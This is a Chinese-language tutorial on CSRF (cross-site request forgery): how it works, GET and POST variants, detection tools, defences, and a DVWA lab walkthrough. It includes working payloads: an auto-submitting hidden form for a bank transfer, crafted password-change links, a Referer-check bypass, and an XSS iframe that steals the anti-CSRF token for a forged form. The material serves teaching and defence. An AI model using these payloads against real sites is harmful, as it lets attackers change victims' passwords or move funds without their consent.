从一些常见场景到CSRF漏洞利用
字数 1349 2025-08-22 12:23:36
CSRF漏洞原理与防御全面解析
0x00 CSRF漏洞概述
CSRF(Cross-site request forgery,跨站请求伪造)是一种基于客户端操作的请求伪造攻击,也被称为"One Click Attack"或Session Riding。
CSRF与XSS的区别
- XSS:利用用户对指定网站的信任
- CSRF:利用网站对用户浏览器的信任
CSRF漏洞原理分类
- 狭义CSRF:攻击者将代码植入受害用户浏览器访问的页面,以"受害用户"身份向服务端发起伪造的HTTP请求
- 广义CSRF:攻击者预测HTTP接口所有参数,以任意方式调用接口实现服务器CURD操作
0x01 CSRF攻击流程
- 用户登录受信任网站A,服务器返回Cookie
- 用户未退出网站A时,在同一浏览器访问恶意网站B
- 网站B返回攻击代码,发起访问网站A的请求
- 浏览器携带网站A的Cookie自动发送请求
- 网站A以用户权限处理请求,执行恶意操作
CSRF攻击必要条件
- 用户已登录受信任站点并生成有效Cookie
- 用户在不登出的情况下访问恶意站点
0x02 CSRF攻击类型
GET型CSRF
仅需一个HTTP请求即可构造攻击,常见于违反HTTP规范使用GET请求更新资源的场景。
示例攻击流程:
银行转账正常请求:
http://www.nanhack.com/payload/xss/csrf1.php?name=admin&money=10
恶意构造请求:
http://www.nanhack.com/payload/xss/csrf1.php?name=zsm&money=1000
GET型CSRF构造方式:
- 链接利用(a标签)
- iframe利用(设置display:none隐藏)
- img标签利用(src属性自动请求)
- CSS background利用(通过url加载远程内容)
POST型CSRF
危害小于GET型,通常使用自动提交表单实现。
示例代码:
<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
<input type="hidden" name="name" value="zhangsan">
<input type="hidden" name="money" value="1000">
</form>
<script>document.csrf.submit();</script>
0x03 CSRF漏洞探测
工具探测方法
- 使用CSRFTester或Burp Suite的CSRF POC功能
- 设置浏览器代理(CSRFTester默认127.0.0.1:8008,Burp默认8080)
- 登录Web应用并提交表单
- 在工具中修改表单内容,验证是否可更改
- 生成CSRF的POC
0x04 CSRF漏洞防御
- Cookie Hash认证:设置和判断cookie时采用hash值认证
- 使用POST请求:减少直接伪造请求的可能性
- 验证HTTP Referer字段:检查请求来源
- 自定义HTTP头属性:添加并验证自定义属性
- Token验证:在请求地址中添加随机token并验证
- 验证码机制:关键操作要求输入验证码
0x05 DVWA靶场CSRF实战
Low级别漏洞
漏洞代码分析:
if (isset($_GET['Change'])) {
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)) {
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
// 执行SQL...
}
}
漏洞利用方式:
- 直接构造链接:
http://192.168.1.3/DVWA/vulnerabilities/csrf/?password_new=qwzf&password_conf=qwzf&Change=Change# - 使用短网址隐藏真实URL
- 构造攻击页面(利用img标签):
Medium级别漏洞
防御机制:
if (eregi($_SERVER['SERVER_NAME'], $_SERVER['HTTP_REFERER']))
检查Referer是否包含服务器名。
绕过方法:
- 将攻击页面命名为服务器名(如192.168.1.3.html)
- 放置在攻击者服务器上诱导访问
High级别漏洞
防御机制:
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
使用随机token防御CSRF。
绕过方法:
- 结合XSS漏洞获取token:
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)> - 构造自动提交表单:
<script>function attack(){document.getElementById("transfer").submit();}</script> <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.1.3/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="qwzf"> <input type="hidden" name="password_conf" value="qwzf"> <input type='hidden' name='user_token' value="8519d07c0e08e8ef0461311e9a880af5"> <input type="hidden" name="Change" value="Change"> </form> </body>
0x06 总结
CSRF漏洞利用网站对用户浏览器的信任,通过伪造请求执行恶意操作。防御CSRF需要综合使用token验证、Referer检查、POST请求等多种机制。在实际开发中,应特别注意关键操作的防护,避免因设计不当导致安全漏洞。